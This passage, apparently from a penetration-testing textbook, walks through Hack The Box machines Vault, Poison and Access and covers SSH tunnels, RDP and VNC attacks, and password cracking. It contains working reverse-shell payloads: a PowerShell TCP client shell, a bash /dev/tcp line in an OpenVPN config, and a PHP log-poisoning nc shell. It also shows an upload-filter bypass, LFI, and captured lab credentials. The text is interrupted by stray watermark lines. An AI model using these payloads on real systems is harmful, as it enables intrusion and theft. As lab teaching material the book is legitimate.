shell written in PowerShell as follows:
1 New-Object System.Net.Sockets.TCPClient("10.0.0.1",6001)
2 $stream = $client.GetStream()
3
hide01.ir
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
4 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($byte
5 $sendback = (iex $data 2>&1 | Out-String )
6 $sendback2 = $sendback + "PS " + (pwd).Path + "> "
7 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
8 $stream.Write($sendbyte,0,$sendbyte.Length);
9 $stream.Flush()
10 }
11 $client.Close()
The script creates a socket to communicate with the attacker's listener u, creates a buffer to
read v from that socket which will be commands sent by the attacker w, executes the
commands sent by the attacker x and gets the response and then writes the response back
to the attacker y.
As with all things Windows, this is slightly more complicated than the Linux versions but
functional, nonetheless. Another alternative is to use a “Meterpreter” shell that is designed
to work with the pentesting framework Metasploit which you will discuss shortly.
The shells obtained by the methods outlined sometimes are less than functional because
they do not result in a full ‘TTY’ terminal. TTY stands for teletype and is derived from the
early electromagnetic typewriters that were used in telegraphy and then to communicate
with mainframes and minicomputers. When you open a terminal on a Mac or on Linux, the
terminal software is running a pseudo teletype (PTY) which handles getting input from the
keyboard and passing it to a TTY driver which eventually passes that data to which ever
shell program you are running. The terminal handles things like arrow keys and key
sequences like "control + w" which will erase a word, "control + c" which will kill the last
command you ran. If you are not running a proper TTY, you won't be able to use arrow keys
and "CTL+c" will kill the shell you are running and not the last command. Also using an
editor like vi will be difficult.
SSH
Secure Shell (SSH) operates in a client server configuration with the server usually listening
on TCP port 22. Normally, the process for a client connecting to a remote machine involves
using either a password or a private key. Keys are generated using ssh-keygen which by
default will use RSA as the algorithm. Running ssh-keygen will produce a private key and a
public key. The public key is added to a file "authorized_keys" normally located in the .ssh
directory in the user's home directory. The private key is then held by the user on their client
machine. SSH also supports password access. Although it is not normal to find a private
key in the .ssh directory on the server, it is always worth checking, using the default
filename for the private key "id_rsa".
As an added layer of protection, SSH private keys can be encrypted. John The Ripper will
extract a hash from the encrypted SSH key with a program called "sshng2john.py".
Another useful utility supported by SSH is "scp" a ssh file copying utility. To copy a file to a
remote machine you can use the command:
SSH Tunnels
SSH can be used to create an encrypted tunnel that supports port forwarding. There are two
types of port forwarding, local and remote. This can be confusing because local forwarding
forwards packets from a local port to a port on a remote machine. Remote port forwarding
is the opposite, taking packets for a port on a remote machine and forwarding them to a
port on the local machine. As an example, let us imagine that you have ssh'd onto a remote
machine that is behind a firewall that doesn't allow any traffic out. You would like to access
a web server on our local machine to be able to access file from the remote box. To do this,
you could use an SSH tunnel as:
From the remote machine, you can now access the web server on the local machine by
using the URL http://127.0.0.1:8000. Of course, you would need to make sure that nothing
was running on port 8000 already on the remote machine.
The converse of this is where you would like to access a port on a remote machine that is
only available from that machine. In this case, you use SSH in the same was as before but
using the -L flag instead of -R.
From the local machine, you can access the remote server by once again using the URL
http://127.0.0.1:8000.
A tunnel can be created without actually logging into the machine (i.e. not running a shell)
by specifying the -N flag.
Once this is running, a SOCKS proxy can be configured in settings of the browser, or you
can use the application proxychains which allows any application that uses the network to
send its commands over the SOCKS proxy you have established. For example, to curl a web
server running on the remote host on port 8000, you would use proxychains as:
Depending on the tool however, there is often built in support for proxying and so with curl
for example, the SOCKs proxy can be specified directly:
This machine was graded medium difficulty and was actually 3 separate virtual machines
with hostnames: ubuntu, DNS and Vault. Although you will be dealing with pivoting later on,
solving the machine required the use of local and remote port forwarding over SSH. An
additional complication was the presence of a firewall that was blocking traffic to the Vault
machine unless the source port was set to 53, the port usually associated with DNS. The
firewall can be circumvented in a number of ways but the easiest is to use Ipv6 which
hadn't been blocked by the firewall.
hide01.ir
An nmap scan of the machine reveals SSH running on port 22 and HTTP running on port
80:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- vault.htb \
3 -oN Nmap/tcp-full
4 <SNIP>
5 PORT STATE SERVICE VERSION
6 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.
7 <SNIP>
8 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
9 | http-methods:
10 |_ Supported Methods: GET HEAD POST OPTIONS
11 |_http-server-header: Apache/2.4.18 (Ubuntu)
12 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
13 <SNIP>
14 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We are proud to announce our first client: Sparklays (Sparklays.com still under
construction)
Running Gobuster, but with a modified wordlist to add "sparklays" and "Sparklays", you find
the sub-directory "sparklays". Running gobuster on this directory reveals the following sub-
directories and files:
1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
4 -u http://vault.htb/sparklays -x .php
5 <SNIP>
6
hide01.ir
/login.php (Status: 200)
7 /admin.php (Status: 200)
8 /design (Status: 301)
And again, within the /design sub-directory, you find an additional directory
/design/uploads. Navigating to the http://vault.htb/sparklays/admin.php returns a login
page which doesn't return any errors or other feedback when testing out default
username/password combinations like admin/admin. Putting this request into Burp Suite
and changing the host header in the request to "localhost" however, you get redirected to
another php page " sparklays-local-admin-interface-0001.php" which presents the page
shown in Figure 3-2.
Clicking on "Server Settings" leads to a page under construction. "Design Settings" however,
returns a page that allows the logo to be changed. We can upload a PHP file that will give
us a reverse shell. There are webshells already installed on Parrot Sec OS located in the
directory /usr/share/webshells. We will use the PHP one:
/usr/share/webshells/php/php-reverse-shell.php
Copying this file to our working directory and renaming it reverse.php, we can try and
upload it using the logo upload feature. The upload function restricts the file types that can
be uploaded and so if you try and upload the PHP file you get an error returned saying
"sorry that file type is not allowed". However, if you change the extension of the file to
hide01.ir
another valid PHP extension "reverse.php5", that is allowed. Start a Netcat listener to catch
the reverse shell:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
http://vault.htb/sparklays/design/uploads/reverse.php5
This then returns a reverse shell which you can upgrade to a full TTY using the Python and
bash commands:
We now have initial access as the user www-data. Exploring the /home directories, you see
two users; "alex" and "dave". On exploring the "dave" directory, you find a sub-directory
"Desktop" that has files which contain ssh credentials for the user "dave":
1 www-data@ubuntu:/home/dave/Desktop$ ls -al
2 total 20
3 drwxr-xr-x 2 dave dave 4096 Sep 3 2018 .
4 drwxr-xr-x 18 dave dave 4096 Sep 3 2018 ..
5 -rw-rw-r-- 1 alex alex 74 Jul 17 2018 Servers
6 -rw-rw-r-- 1 alex alex 14 Jul 17 2018 key
7 -rw-rw-r-- 1 alex alex 20 Jul 17 2018 ssh
8 www-data@ubuntu:/home/dave/Desktop$ cat Servers
9 DNS + Configurator - 192.168.122.4
10
hide01.ir
Firewall - 192.168.122.5
11 The Vault - x
12 www-data@ubuntu:/home/dave/Desktop$ cat key
13 itscominghome
14 www-data@ubuntu:/home/dave/Desktop$ cat ssh
15 dave
16 Dav3therav3123
17 www-data@ubuntu:/home/dave/Desktop$
We can now login using ssh and the user dave and the password Dav3therav3123.
In the file Servers, it mentioned another machine at the IP address "192.168.122.4". you can
see from using the command "ifconfig" that the machine vault has 2 network interfaces
with the interface "virbr0" having the IP address 192.168.122.1. you can check what ports
might be on the machine with the IP address "192.168.122.4 by using Netcat:
The -v flag allows for verbose output and the -z flag does not connect to the port, it just
checks if it could connect. Using this, you see that ports 22 and 80 are open.
We can now do a local port forward to get access to port 80 on the box 192.168.122.4
1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $ssh -N -L 8081:192.168.122.4:80 [email protected]
3 [email protected]'s password:
This then allows us to navigate to the web site at http://127.0.0.1:8081 where you get links
related to DNS and VPN configuration (Figure 3-4).
hide01.ir
The first link goes to a page under construction. The second is a page that allows for
openvpn configurations to be tested.
Searching for OpenVPN configuration exploits, you find a blog post by Jacob Baines[2]
which gives a configuration for returning a reverse shell. Adapting this, you can paste the
following into the page, update the file and then click Test VPN.
1 Remote 192.168.122.1
2 nobind
3 dev tun
4 script-security 2
5 up "/bin/bash -c '/bin/bash -I > /dev/tcp/192.168.122.1/6002 0<&1 2>&1&'"
hide01.ir
Rather than run the Netcat listener on the Vault machine however, you can use another SSH
remote port forwarder to tunnel the shell back to our local machine. To do this from an
existing SSH session, you can use the special characters ~C at the beginning of the
command prompt to drop into an SSH prompt and then set up the remote port forward:
1 dave@ubuntu:~$
2 ssh> -R 6002:127.0.0.1:6002
3 Forwarding port.
4 dave@ubuntu:~$
Setting up the listener on the local machine will then give us a reverse shell on the DNS
machine as root.
1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $nc -lvnp 6002
3 listening on [any] 6002 ...
4 connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56806
5 bash: cannot set terminal process group (1096): Inappropriate ioctl for de
6 bash: no job control in this shell
7 root@DNS:/var/www/html#
Looking around the box, you find that the ssh file in /home/dave has a password
dav3gerous567.
Looking at the /etc/hosts file, you see an entry for the vault machine:
There is a possibility that this response is just poor firewall design and that the reason that
53 responded as closed was because the firewall may be letting anything that looks like
DNS traffic through to the box. You can re-run nmap but specify the source port as 53. This
gives an open port 987
Running netcat to connect to that port returns and SSH banner suggesting that you can
SSH onto that box.
There are a couple of ways of getting around the firewall restriction to get to the Vault
machine. The easiest however is to use Ipv6. In order to do that, you need to find the Ipv6
address of Vault. If you ping the Ipv6 broadcast address, the ping will go to all hosts on the
network connected to the "ens3" network interface:
From this, you get 4 responses. The first response from fe80::5054:ff:fe17:ab49 you know
is from the DNS machine as you can see its Ipv6 address using the ifconfig command.
Using the nmap command, you can check which machine has port 987 open and you find
that it is the machine with the Ipv6 address fe80::5054:ff:fec6:7066.
Once on the box, you can see the root flag that is encrypted using GPG. You can use the
gpg application to get more information about the file and find that it has been encrypted
using an RSA key with the ID D1EB1F03.
1 dave@vault:~$ ls
2 root.txt.gpg
3 dave@vault:~$ gpg root.txt.gpg
4 gpg: directory `/home/dave/.gnupg' created
5 gpg: new configuration file `/home/dave/.gnupg/gpg.conf' created
6 gpg: WARNING: options in `/home/dave/.gnupg/gpg.conf' are not yet active d
7 gpg: keyring `/home/dave/.gnupg/secring.gpg' created
8 gpg: keyring `/home/dave/.gnupg/pubring.gpg' created
9 gpg: encrypted with RSA key, ID D1EB1F03
10 gpg: decryption failed: secret key not available
This key doesn't exist on the Vault machine but does on the ubuntu machine:
Remote Desktop Protocol (RDP) allows user to access their desktop from another machine
over a network using the RDP client. The RDP server listens on TCP and UDP port 3389 by
default. Users are permitted to use RDP are those in the Remote Desktop Users group. RDP
access is one way hackers will gain initial access to a machine if they have a user's
credentials. It can also be used to establish persistence, i.e. an easy way to regain access at
some later point. In this case, a new user can be created and added to the relevant groups
to allow remote desktop access.
RDP is also susceptible to man-in-the-middle attacks. Using software such as Seth[3]. When
Remote Desktop Connection connects through to a machine, it will throw up an error if there
is a problem with the TLS certificate. However, it does this with the default self-signed
certificate and users are normally used to just ignoring the warning and clicking through.
Another issue with man-in-the-middle is if RDP is configured to use Network Level
Authentication which Seth is not able to handle. In this scenario, Seth will still be able to
capture the plaintext password that was entered into the login screen for the RDP
connection, but the connection will then die.
There have been a number of exploits of RDP with the most significant recent exploit being
BlueKeep (CVE-2019-0708) which allowed remote code execution through RDP on Windows
7 and Windows Server 2008 machines.
RDP does not feature in Hack The Box machines, mainly because in the past, it would have
been hard to support the many users accessing RDP all at the same time on a VM.
However, this is an important technique in an attacker's arsenal and so MITRE for example
lists numerous malicious hacker groups as using it to gain access and for lateral
movement [4].
For this demonstration, you have a Windows 10 box that is configured to accept remote
desktop connections as the target. You can use your Windows 10 Commando box if you
have set that up. The victim is a remote desktop connection client from any other machine
on the network, including the computer you are using to run the VMs on. The attacker
machine is our ParrotSec VM. The network is shown in Figure 3-6 below.
When you run Seth on the attacker machine and then try and connect using the Remote
Desktop Client, you get this output:
1 ┌─[rin@parrot]─[/opt/Seth]
2 └──╼ $sudo ./seth.sh eth0 10.0.1.7 10.0.1.5 10.0.1.8
3 ███████╗███████╗████████╗██╗ ██╗
4 ██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
5 ███████╗█████╗ ██║ ███████║ [email protected]
6 ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
7 ███████║███████╗ ██║ ██║ ██║ https://www.syss.de
8 ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
9 [*] Linux OS detected, using iptables as the netfilter interpreter
10 [*] Spoofing arp replies...
11 [*] Turning on IP forwarding...
12 [*] Set iptables rules for SYN packets...
13 [*] Waiting for a SYN packet to the original destination...
14 [+] Got it! Original destination is 10.0.1.27
15 [*] Clone the x509 certificate of the original destination...
16 [*] Adjust iptables rules for all packets...
17
hide01.ir
[*] Run RDP proxy...
18 Listening for new connection
19 Connection received from 10.0.1.5:61220
20 Warning: RC4 not available on client, attack might not work
21 Downgrading authentication options from 11 to 3
22 Listening for new connection
23 Enable SSL
24 Connection received from 10.0.1.5:61232
25 Warning: RC4 not available on client, attack might not work
26 Downgrading authentication options from 11 to 3
27 Listening for new connection
28 Enable SSL
29 Failed to extract keyboard layout information
30 rin:::afb99ab9d701d668:9511818e381cab338594796e923386ef:
31 010100000000000007cbbd3eb4b8d601699b03023078129f00000000
32 02001e004400450053004b50000bf00510001001e004400450053004
33 b3344550004001e004400450053004b0054004f0050002d004900520
34 052004b0044004e00510003001e004400450053004b0054004f00500
35 02d004900520052004b0044004e0051000700080007cbbd3eb4b8d60
36 106000cd00020000000000000000000000
37 Tamper with NTLM response
38 Downgrading CredSSP
39 Connection received from 10.0.1.5:61233
40 Warning: RC4 not available on client, attack might not work
41 Listening for new connection
42 Server enforces NLA; switching to 'fake server' mode
43 Enable SSL
44 Connection lost on enableSSL: [Errno 104] Connection reset by peer
45 Hiding forged protocol request from client
46 .\rin:S3cr3tP@55w0rd
47 [*]
In this scenario, Network Level Authentication had been configured and so Seth was not
able to complete the attack and the connection fails with an error. However, the plaintext
username and password are still obtained by the attacker. If the NLA requirement option is
switched off, the connection completes, and the user would not be any the wiser.
VNC
VNC is an alternative to RDP that is platform independent. VNC uses the Remote Frame
Buffer protocol (RFB). It is usually configured to run on ports 5900+N were N is the display
number. Whilst RFB is not a secure protocol, VNC can be run through an SSH or VPN tunnel
making it secure.
hide01.ir
VNC hasn't been the most robust of products and there are numerous serious vulnerabilities
in a range of different versions of the product.
VNC may require password but if used, it doesn't need a username. Metasploit has a VNC
login brute force module (auxiliary/scanner/vnc/vnc_login) and the command line
application hydra can also brute force VNC passwords. A VNC-enabled payload can be
created by msfvenom also:
Finally, meterpreter can launch a VNC session by running "run vnc" within a meterpreter
session.
Exercise: Exploiting VNC for initial access in Hack The Box machine
Poison
An nmap scan shows that this machine is running FreeBSD and has port 22 (SSH) and port
80 (HTTP) open.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- poison.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
5 <SNIP>
6 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
7 | http-methods:
8 |_ Supported Methods: GET HEAD POST OPTIONS
9 |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
10 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
11 Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Navigating to the website, there is a home page suggesting that various PHP files can be
tested (Figure 4-6).
hide01.ir
Inputting one of the filenames listed results in the contents of that file being listed. If we
enter listfiles.php, the output is:
1 Array ( [0] => . [1] => .. [2] => browse.php [3] =>
2 index.php [4] => info.php [5] => ini.php [6] =>
3 listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )
The PHP code is creating an array of filenames. The interesting one is pwdbackup.txt which
if we access has the contents:
The encoding format looks like Base64 and so if we simply put the string in a file and
decode it13 times we get a password:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $cat password.txt | base64 -d | base64 -d | base64 -d | base64 -d | b
3 Charix!2#4%6&8(0
Going back to the home page, the input to the text box is simply being passed as a
parameter called "file" to be displayed:
hide01.ir
http://poison.htb/browse.php?file=listfiles.php
This looks like a candidate for local file inclusion (LFI) by tampering with the file parameter.
If we try the URL
http://poison.htb/browse.php?file=/etc/passwd
We can see from the passwd file that there is a user "charix" and using the password we
discovered earlier with this, we can SSH into the machine.
This was not the only way that you can gain initial access to the box however. Another way
of gaining access is to use a technique called "log poisoning" which involves putting PHP
code into the Apache log file that records requests to the site. This log records the URL
requested, the protocol, the status code and also the user agent which is the details of the
browser client used to make the request. If we put executable PHP into the User Agent
header filed in the request and make a request, the next time we use LFI on the log, that
code will be executed. The code we can add to the User Agent field is:
We can test this now by sending a new request to view the log file and pass a command via
the parameter 'c':
This will return the contents of the log file and the final line will be:
It took the 'id' command and executed it to return the details of the user 'www'.
We can now execute a reverse shell. Start a Netcat listener on your machine:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
hide01.ir
We can now poison the log with PHP reverse shell code:
1 <?php exec('
2 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.135 6001 >/
3 ?>
When we make the GET request to view the log, we will get a reverse shell:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.135] from (UNKNOWN) [10.129.105.0] 35870
5 sh: can't access tty; job control turned off
6 $ whoami
7 www
The shell isn't great and Python is not on the box to use to upgrade it. If you had got access
this way, it would have ben to explore the box to find the pwdbackup.txt file and from there
the password for the charix user to enable the use of SSH.
Once SSH'd onto the machine, you discover a file secret.zip which you can copy back to
your local host using the scp command:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $scp [email protected]:/home/charix/secret.zip .
3 Password for charix@Poison:
4 secret.zip 100% 166 0.5KB/s 00:00
The file can be unzipped using charix's password to reveal the secret file which has binary
data in it but otherwise it is not clear what it is for.
Back to enumeration. Looking at the processes running, you will notice a process Xvnc:
hide01.ir
1 charix@Poison:~ % ps -aux
2 USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
3 root 11 100.0 0.0 0 16 - RL 14:00 30:53.63 [idle]
4 root 0 0.0 0.0 0 160 - DLs 14:00 0:00.01 [kernel]
5 root 1 0.0 0.1 5408 976 - ILs 14:00 0:00.01 /sbin/init --
6 root 2 0.0 0.0 0 16 - DL 14:00 0:00.00 [crypto]
7 <SNIP>
8 root 614 0.0 0.9 23620 8868 v0- I 14:00 0:00.04 Xvnc :1 -desktop X
9 -httpd /usr/local/share/tight
10 root 625 0.0 0.7 67220 7048 v0- I 14:00 0:00.03 xterm -geometry 80x24+10+1
11 -ls -title X Desktop
12 root 626 0.0 0.5 37620 5312 v0- I 14:00 0:00.01 twm
To get more information, we can display the process information in more detail:
From this, we know that TightVNC is running as user root and this is listening on port 5901
on localhost. To access the VNC server, you first set up a tunnel using:
1 charix@Poison:~ %
2 ssh> -D 1080
3 Forwarding port.
On our local box, you can confirm that you can access this port by using:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $proxychains curl --http0.9 http://127.0.0.1:5901
3
4 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|
5 -<>-127.0.0.1:1080-<><>-127.0.0.1:5901-<><>-OK RFB 003.008
hide01.ir
Note that you used proxychains here to access the VNC server. You could have used the --
socks5 argument to curl as well.
We can then run vncviewer using proxychains. This asks for a password and so trying the
"secret" file that you got from unzipping "secret.zip" from charix's home directory:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $proxychains vncviewer -passwd secret 127.0.0.1:5901
3 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|
4 -<>-127.0.0.1:1080-<><>-127.0.0.1:5901-<><>-OK
5 Connected to RFB server, using protocol version 3.8
6 Enabling TightVNC protocol extensions
7 Performing standard VNC authentication
8 Authentication successful
9 Desktop name "root's X desktop (Poison:1)"
VNC's encryption of passwords is more obfuscation than encryption as the key that is used
for the DES encryption is well known. It is trivial to find an application that will decrypt the
hide01.ir
password in the file "secret" and it turns out to be "VNCP@$$!".
Telnet
Telnet is an old protocol that provides a command-line interface via remote access. The
telnet server usually listens on TCP port 23. Because it was never designed with security in
mind, it is less used for administration purposes on computers but is still used on network
devices and Internet of Things devices. A large number of IoT devices have shipped with
default passwords set for Telnet access allowing attackers to access and take over the
devices to enlist them in "botnets". Botnets are a collection of devices all running similar
software/malware that can be coordinated in an attack like a Distributed Denial of Service
(DdoS).
What commands are supported by the telnet server depends on the platform. On windows
for example, it will be the cmd.exe commands that are supported. On a Cisco network
switch, you will be presented with the Cisco CLI (Command Line Interface). In this regard, it
is similar to SSH in running a specific shell after a successful login.
FTP
File Transfer Protocol allows a client to upload and download files using a set of simple
commands. The FTP server normally has 2 TCP ports that it uses, port 21 for FTP
commands and port 20 for sending and receiving data. FTP operates in two different
modes active and passive. In active mode, the FTP client connects to the command port of
the server on port 21. The client starts listening for data on a port that is the next port from
the one it opened to connect to the server. The FTP server connects to this port on the client
from its local data port and sends or receives data when requested by the client.
The trouble with active mode is that clients are often behind firewalls or on a private
network that does not allow for inbound connections on dynamic ports. For this reason,
FTP also supports a passive mode. In passive mode, the server opens a random port for
data connections and passes this to the client to connect to. Of course, having the FTP
hide01.ir
server open to a range of open ports to support passive mode creates security
vulnerabilities of its own.
Exercise: Enumerating and exploiting FTP and Telnet on Hack The Box case machine
Access
Access is a Windows box that has an FTP server on which you will find a backup of an MS
Access database and a password-protected ZIP file containing a backup of a Microsoft
Outlook email file. Dumping the Access database give server usernames and passwords,
one of which can be used to unzip the ZIP file. Viewing the emails in the PST file found
there, gives another password that can be used to gain access via Telnet.
An nmap scan shows that the TCP ports 21 (FTP), 23 (Telnet) and 80 (HTTP) are open.
Nmap tells you that anonymous login is allowed on FTP.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Access]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- access.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 21/tcp open ftp Microsoft ftpd
5 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
6 |_Can't get directory listing: PASV failed: 425 Cannot open data connectio
7 | ftp-syst:
8 |_ SYST: Windows_NT
9 23/tcp open telnet?
10 80/tcp open http Microsoft IIS httpd 7.5
11 | http-methods:
12 | Supported Methods: OPTIONS TRACE GET HEAD POST
13 |_ Potentially risky methods: TRACE
14 |_http-server-header: Microsoft-IIS/7.5
15 |_http-title: MegaCorp
16 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
To download everything to our machine, we can use wget from our local machine:
1
hide01.ir
┌─[rin@parrot]─[~/boxes/Access/FTP]
2 └──╼ $wget -r --no-passive-ftp ftp://anonymous:[email protected]
3 --2021-02-28 14:58:13-- ftp://anonymous:*password*@access.htb/
4 => ‘access.htb/.listing’
5 Resolving access.htb (access.htb)... 10.129.105.84
6 Connecting to access.htb (access.htb)|10.129.105.84|:21... connected.
7 Logging in as anonymous ... Logged in!
8 <SNIP>
The -r flag tells wget to do a recursive fetch which goes into every directory and fetches the
contents. The --no-passive-ftp flag tells wget not to try and download files using passive
mode. If you try and run the command without the --no-passive-ftp flag, wget will try and
establish passive mode and fail, aborting the command.
Once the command completes, you will have the following on your local disk:
1 ┌─[rin@parrot]─[~/boxes/Access/FTP]
2 └──╼ $tree access.htb
3 access.htb
4 ├── Backups
5 │ └── backup.mdb
6 └── Engineer
7 └── Access Control.zip
8 2 directories, 2 files
If you try and unzip Access Control.zip, it will give an error saying that it can't unzip because
the zip file uses "unsupported compression method 99" which means that it was zipped
using 7-Zip. If you try 7z on it, you will be prompted for a password. So leaving that for the
moment, you can explore the access database backup using mdbtools which can be
installed with:
1 ┌─[rin@parrot]─[~]
2 └──╼ $sudo apt install mdbtools
Create a directory called tables and move backup.mdb into it then run:
hide01.ir
for I in $(mdb-tables backup.mdb);do mdb-export backup.mdb $i > $i;done
This script will get each table name and then export the contents of the table, saving it to a
file named using the table name. Most of the tables are empty and you can sort the files by
line count using:
wc -l * | sort -n
On looking at the files with more than 2 lines, you will notice a table called auth_user:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Access/tables]
2 └──╼ $cat auth_user
3 id,username,password,Status,last_login,RoleID,Remark
4 25,"admin","admin",1,"08/23/18 21:11:47",26,
5 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
6 28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
The first thing to try is the engineer password on the zip file:
1 ┌─[rin@parrot]─[~/boxes/Access/access.htb/Engineer]
2 └──╼ $7z x 'Access Control.zip'
3 7-Zip [64] 16.02 : Copyright I 1999-2016 Igor Pavlov : 2016-05-21
4 p7zip Version 16.02 (locale=en_AU.UTF-8,Utf16=on,HugeFiles=on,64 bits,
5 2 CPUs IntelI CoreI i9-9980HK CPU @ 2.40GHz (906ED),ASM,AES-NI)
6 Scanning the drive for archives:
7 1 file, 10870 bytes (11 KiB)
8 Extracting archive: Access Control.zip
9 --
10 Path = Access Control.zip
11 Type = zip
12 Physical Size = 10870
13 Enter password (will not be echoed):
14 Everything is Ok
15 Size: 271360
16 Compressed: 10870
hide01.ir
The pst file is a Microsoft Outlook email file that can be read using the program "readpst".
Running this on "Access Control.pst" will extract an mbox file. With cat, the contents reveal
an email that is in the "Deleted Items" folder. This email is from [email protected] to
[email protected] saying that:
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please
ensure this is passed on to your engineers.
You can then use the username security and password 4Cc3ssC0ntr0ller to telnet onto the
box:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Access]
2 └──╼ $telnet access.htb
3 Trying 10.129.45.60...
4 Connected to access.htb.
5 Escape character is '^]'.
6 Welcome to Microsoft Telnet Service
7 login: security
8 password:
9 *===============================================================
10 Microsoft Telnet Server.
11 *===============================================================
12 C:\Users\security>whoami
13 access\security
14 C:\Users\security>
It won't be long before you notice that the shell that Telnet provides is limited. The arrow
keys don't work and nor does the delete key. Output is not formatted correctly. This is a very
good example of where the shell is not a full TTY. You can improve things by running a
Nishang PowerShell reverse shell, but I will leave this here for the moment and come back
later when I discuss privilege escalation and persistence.
We have already come across some examples of brute forcing passwords (and usernames)
but we are going to go into the subject a bit more deeply here and look one tool in particular
hide01.ir
THC Hydra to brute force a variety of remote services. First, it is worth mentioning some
background about passwords. The perceived wisdom about passwords has changed with
the main recommendation for passwords being length and not complexity (NIST SP 800-
63B (https://pages.nist.gov/800-63-3/sp800-63b.html)\). The determination was that
adding rules about specific characters and complexity only added a burden on users to
remember the password and led to behaviors where users used patterns to choose their
passwords. The advent of highly efficient offline password hashing and checking
computers along with millions of available breached passwords has led to the increased
possibility of a password being brute forced.
Password hashing depends on the use of a mathematical function that is called a one-way
function. It is easy to calculate the hash of a piece of plain text but almost impossible to
generate the text from the hash. Hashes are also of fixed length, so no matter how long the
piece of text being hashed, the hash itself is always the same length. In the case of the
SHA-512 hashing algorithm commonly used on modern Linux-based systems, the output is
64 bytes long. If the only thing that was done with a password was to take the plain text
and hash it, it would not be very secure. This is because it would be possible to use tables
of pre-computed hashes, called rainbow tables) for millions of common passwords and
compare them to the hash to get a match. That process would be very fast. Even without
the rainbow tables, doing a brute force on a dictionary of words by hashing each word and
comparing it with the hash we want to crack would also be very fast, especially on modern
computers with Graphical Processing Units (GPUs).
To prevent these types of attacks, password hashing uses a salt, a piece of random text
that is up to 16 characters long (for the SHA-512 hashing algorithm) and adds that to the
password and hashes that. However, it doesn't just do this one, it does it a minimum of
1,000 times taking the product of each round and adding it back in a variety of ways. The
aim of this process is to make the calculation of hashes computationally expensive i.e. to
slow it down.
Of course, not all password hashes are generated in this way and despite the improvements
in hashing algorithms, it is still possible to brute force passwords if they are short and are a
common dictionary word.
There are two main ways of brute forcing a password: online and offline. We have
encountered methods for both already but let's start with offline cracking. Obtaining
password hashes is only the beginning of the process of being able to crack them. We first
hide01.ir
have to identify what type of hash we are dealing with. The password cracking software
hashcat has a flag that will show example hashes for all of the different hashing modes.
To list all of the modes of hashing that hashcat supports, you can use the --help flag
1 ┌─[rin@parrot]─[~/book]
2 └──╼ $hashcat --help
3 <SNIP>
4 [ Hash modes ] -
5 # | Name | Category
6 ======+=====================+======================================
7 900 | MD4 | Raw Hash
8 0 | MD5 | Raw Hash
9 100 | SHA1 | Raw Hash
10 1300 | SHA2-224 | Raw Hash
11 1400 | SHA2-256 | Raw Hash
12 10800 | SHA2-384 | Raw Hash
13 1700 | SHA2-512 | Raw Hash
14 17300 | SHA3-224 | Raw Hash
15 17400 | SHA3-256 | Raw Hash
16 17500 | SHA3-384 | Raw Hash
17 17600 | SHA3-512 | Raw Hash
18 6000 | RIPEMD-160 | Raw Hash
19 600 | BLAKE2b-512 | Raw Hash
20 <SNIP>
For each of these modes, we can show an example of the hash by using --example-hashes
1 ┌─[rin@parrot]─[~/boxes]
2 └──╼ $hashcat -m 1800 --example-hashes
3 hashcat (v6.1.1) starting...
4 MODE: 1800
5 TYPE: sha512crypt $6$, SHA512 (Unix)
